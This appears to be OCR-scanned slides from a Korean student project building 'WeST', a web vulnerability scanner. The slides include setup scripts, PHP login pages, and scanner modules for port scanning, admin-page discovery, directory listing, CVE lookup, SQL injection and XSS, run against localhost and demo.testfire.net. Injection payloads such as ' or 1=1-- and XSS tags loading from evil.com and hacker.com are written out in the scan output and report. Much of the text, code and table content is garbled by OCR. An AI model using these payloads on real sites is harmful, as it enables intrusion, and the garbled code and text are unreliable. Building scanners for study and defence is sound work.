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sudo apt-get install apachel
sudo apt-get install mysql-server mysql-client
sudo apt-get install php

apterror

echo -e "\n\nInstall package for connecting apache and phpin’

echo -e "\n\nInstall package for comnecting php and mysql\f™ READMEmd

sudo apt-get install libapache2-mod-php php-xml php-gd php4
apterror start example

echo -e "\n\nStart apache2 and mysql\n\n" chmod +x installAPM.sh
JinstallAPM.sh

sudo [etc/init.d/apache2 restart

sudo /fetc/init.d/mysgl restart
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create database WeST: DB 1= SQLZE
use WeST:;
create table mysql> desc MEMBER;

) | REPORT | varchar(80) | NO
I | is deleted | tinyint(1) | NO | 0

3|72 Al 3|9 MEE 22|87 9 DB S

NAME varcharjittaShht LSRR be-ooeodeoees LA LRt :
PHONE char(2 | 1D | int(11) unsigned | NO | PRI | NULL | auto increment |
i | P | varchar(255) | NO | NULL | |
AR | e | varchar(18) | O [ NULL | |
DOMAIN varcrggi3 | char(26) | NO | NULL | |
REPORT varch @iy | varchar(255) | NO | UNI | NULL | |
AERORRY | DOMAIN | varchar(255) | NO | UNI | NULL | |
| |

| |
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<?php echo
<div class="tabs">

< /div>

n

<h3>{$ SESSION['userid']} H</h3>";?>

<spa
<spa
<spa
<spa

1<div class="

|
]

<div

<h1>WeST</h1>
<div class="tabs">

<{span class="tab signin active"><a href="#signin">Login</a></span>
<span class="tab signup"><a href="new login.php">New Login</a></span>
</div>
<div class="content">
<div class="signin-cont cont">
<form action="login ok.php" method="post" enctype="multipart/form-da
<input 1d="login username" name="userid" type="text" class=

<!-- <label for="email">Your email</label> -->
<input 1d="login password" name="userpw" type="password" cl
<!-- <label for="password">Your password</label> -->

<div class="submit-wrap">

<inont tvne="spnbmit" value="Toain" clas=s="submit">

*|oH FITH MH|AZ HIZol7| QI8 7| =aty M e
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miport requests

mport sys
orl = input{"AO|ES LEEtHE ")
enail = input{"0[HZES TEatHE")

response = requests,get( https:/
html = response, text

dnmain.whnis.cn.kffkhnisfpnp_

whois.php?fron=left&donain="+striurl})

for ¢ in data == IS 843
o Ij'{ :I 0: Aol EE 2 =3SHMl =2 daum. net
find(enail) > JoOHIE S _2EEtdl 2 domain@kakaocorp . com
prmt(str( r|:|+ 3 daum.net 22| AFOIHI 2 2F 2= x|
===
orint("2lsH| ¥ELI AMO|E = 2021 5HM| @ daum . net =
ODIHIE = _E 3 4t =2testdgmail .com
Aoiim oot 2R TEREOl L2 e = el
Crawling(# H[0|X|2| CI|O|E{ & FE)S 0|8% =HQ 215
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try{

$mail content = "SIU7IUS Sfef O|HY 50| YL <br/>7tYS ARSHAIE O

2.<br/><a href="http://".$url,"/mail/mailauth.php?authkey=",$authkey." ' ><div style='1px solld

red:width:260nx:height:48nx: '>O=6l7l¢/divy¢/as":

4)

<?php
include "db.php";

; </script>’;

J

$authkey = isset($_GET["authkey"]) ? trim($_GET["authkey"]) : '';
if($authkey == ""){
echo '<script> alert("ZXRE &4 YULCH");
location.href="http://'.$url."'/mail/mailauth.php?authkey=".%authkey.""
telse{
$sql = " select count(*) cnt from member where authkey = '".$authkey."' ";
$rec = mysqli_query($db, $sql);
$cnt = mysqli_fetch_row($rec);
$cnt = $cnt[0];
if($cnt == 0){
echo "<scriptralert('7tQ HEJt EXSIA] LE&LICH "); history.back(-1);</script>";
exit();
}
SMTP Z2EESS 0|8% 0|HY oS
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def footer(self):
self.set_y(—15)
self.set_font('Arial', '"I', 8)
self.set_text_color(128)
self.cell (0, 10, 'Page ' + str(self.page_no()), 0, 0, 'C")

def chapter_title(self, num, label):

self.set_font('Arial ', "', 12)

self.set_fill_color (200, 220, 255)
self.cell (0, 6, 'Chapter %d : %s' % (num, label), O, 1, 'L',
self.In(4)

def chapter_body(self, spacing=2):
sel f.add_page()
global data

self.cell (10, 20, In=1, align="c")
self.set_font("Arial", 'B', size=24)

ZICHELE PDF oYU = M
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Imjection J?CuTlt? )
Misconmnfiguration

Brokem Cross-5Site
Authenmntcication Scripting (XSS)

Sensitive Data Using Components with
Hnown Voulmerabilities

Brokem Access
Control & Monitoring
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O SQL Injection HMAMXOoz xX/2A

= main.py x | = httpget sniffer.py x

import gpuc
import | httpget sniffer
ﬂ:::: /root/Project/bin/python /root/PycharmProjects/WebVulnerability-Team3/sql-1njection/m

(00 GET 111111

def hel| Action page = login ok possible sqlinjection.php
pri{ ID = id
SYS| P = pw

if rﬂi; Domain = http://localhost

Middle = localhest

# send | Current page = /login.php

url = s| Current path = htfp://localhost/login

action_| Next URL = http://localhost/login/login_ok_possible sglinjection.php

domain,| wext URL(Post) = /login/login ok possible sqlinjection.php

qlinge| [ILLATTACK CODE 1111]
print(~| Used sql injection code : ' or ls=l#

# Send | [[[[[ RESPONSE 1]11]]

r

2= Form0l SQL Injection T+ &= 20 Fd TITt
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X Directory listing :

O Directory listin

2= = T

URLS
Sofl C|2 E2|9| ot S et

lo] I —K=1 AL = X
e e i

|0I=I-I
=

= checkdirectorylisting.py »

¥- coding: utf-8

Index of /login | EEE|EEERHEE)

Name

_ Index of /login

« Parent Directory

) css/ 2
[? login.php 2
[# login_ok.php 2
@ login ok possible sqlinjection.php 2
[ logout.php 2
[?] main.php 2

Apache/2.4.18 (Ubuntu) Server at locall

checkdirectorylisting {1}

© main

NamelLast modifiedSizeDescription

Parent Directory -

Cs55/2019-03-31 13:22 -

login.php2019-04-29 20:45 669

login ok.php2819-84-28 23:53 1.5K

login ok possible sqlinjection.php2819-84-28 21:39
logout.php2019-83-31 13:20 165

main.php2019-84-01 10:32 4064

Apaches2.4.18 (Ubuntu) Server at localhost Port 86

1.2K

URL 'HZ 2 0| 8%t CIME2| 2|AQ FofH TT
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X XSS : o2 AFEXIZE HE
x A HE - ol =
(HoFH TITh AAR T 4/) s AaiE Sol &

- . SES Aol &
O XSS(Cross Site Scripting) LA ol= 54
title
content
User name
password

Input tag list : {u'content': '<script=alert("XSS Test");</script>', u'password': 'XSS Test', u'user name': 'XSS Test', u'title': 'XSS Test'}
(u'title', u'password')

(L[ GET 111111

Action page = write post.php
ID = title

PW = password

mysgl> select * from boards;
i R e R e R e

| title | content | regdate | hits |
R S e e e $------ +-

1 | test | test | title test | content test | 2619-63-25 60:80:80 | 8
2 | X55 Test | XS5 Test | XSS5 Test | =script=alert("X55 Test"):</script> | 2019-05-14 11:58:38 |

H Al EHO]| Script +22 0|88 XSS £ %X ZICt
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H! /usr/bin/env python
impor t socket

i ort datetime

.-

.
-
ef scan():
now = datetime.datetime.now()
comport = {"FTP":21, "SMTP":25,"HTTP" :80%F
ad = input(('"address input : ")
adip = socket _gethostbyname(ad)
print("wn Starting port scan ... at "4+str(now))
print(" Port scan report for "4ad+"WwWn'")
D r T n t ( ' T L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L L o o '
p X £ 1l e e e e —_— s L — 11 N

ddomain input : demo.testfire.net

=
-

Starting Web scan ( demo.testfire.net ) ... at 2019-09-02 14:02:25.718224

| NO | et &=

| 01 | CIOIEl B2 &35

| | 25/tcp Open SMTP
| | 80/tcp Open HTTP

ZE A7 0|8% HO|E WE M3 FAH Wy
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def adpage()

page= ["/admin"

/manager "
"/master"
"/system",
"/Jadministart"]
url = "http://"+input("url : ")
o e LR
03 2211+ B0 k&
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get_header (domain):

global

req, header, dic, cve

def

M

;de: check_cve(get_header):

module_name = 'Check CVE'
4  contents =
d
I

is_cve = 'Safe’

cvel(key, contents, is_cve):
r = requests.get('https://cve.mitre.org/coi-bin/cvekey.cqi?keyword="+str(dic[key]))
soup = BeautifulSoup(r.text, 'html.parser")
count_target = soup.find(class_="smaller")
cvelkey] = count_target.find("b").text
list_result = str(soup.select( #TablelithRules"))
list_result = re.sub('<.+72>","", list_result,0).strip()
' len(list_result) > 26:
contents += 'https://cve.mitre.org/cgi-bin/cvekey.cgikeyword="+str(dic[key])

A8 X EH[Q10] S5 HEE 0]2810] CVENA 2 N
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WEST X

&« c @ D #Z 192.168.0.147

WEST

WeST test'd X

< C @

TESTH

i) 192.168.0.147

ZHrHSHD 3K =0 AT

— DEMO.TESTFIRE.NET Zl &tst7| DEMO.TESTFIRE.NET X8| 3}7|
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Starting Web scan....

demo.testfire.net

....2019-10-06 20:59:15

No.

116

216

3/6

4/6

516

6/6

2| XHEOR] =&

Cl8ee| 2[~8
XSS

SQL INJECTION

NN N N NS
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") WeST - Mozilla Firefox

q
>
LI

(0 192.168.0.147

2

XIch A3}

H3 HE e Download
1 test®| Zict 23} 2019-09-19 00:55:58 download

LIttt ZatE pdfol 2 CI2EE 7ts
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Website Vulnerability Scanner Report

Scan Information

Website URL = demo.testfire.net

Start Time = 2019-10-14 14:52:40.100721
Finish Time = 2019-10-14 14:52:40.100721
Scan duration = 0:00:00

List of tests performed (6/6)

Type Contents Resulte
Port Scan 25/Mtep(SMTP) Open S80/tcp(HTTP) Open Risk
Admin Page Sadmin server exist Risk
Check CVE https:/fcwve. mitre_org/cgi-bin/cvekey . cgi?keyword=Apache-Coyotes1.1 Risk
Directory Listing This website is "SAFE"” from Directory listing Safe
<body bgcolor=yellow=
4:7 :“ T 1 ">
XSS |fra?me SIrc hltp,r'.-fewl,(?omfxss,html Risk
<object type="text/x-scriptlet” data="http://hacker.com/xss_html">
SQL Injection {uid': ™ or 1=1--", 'passw’. "donecare’} Risk

25
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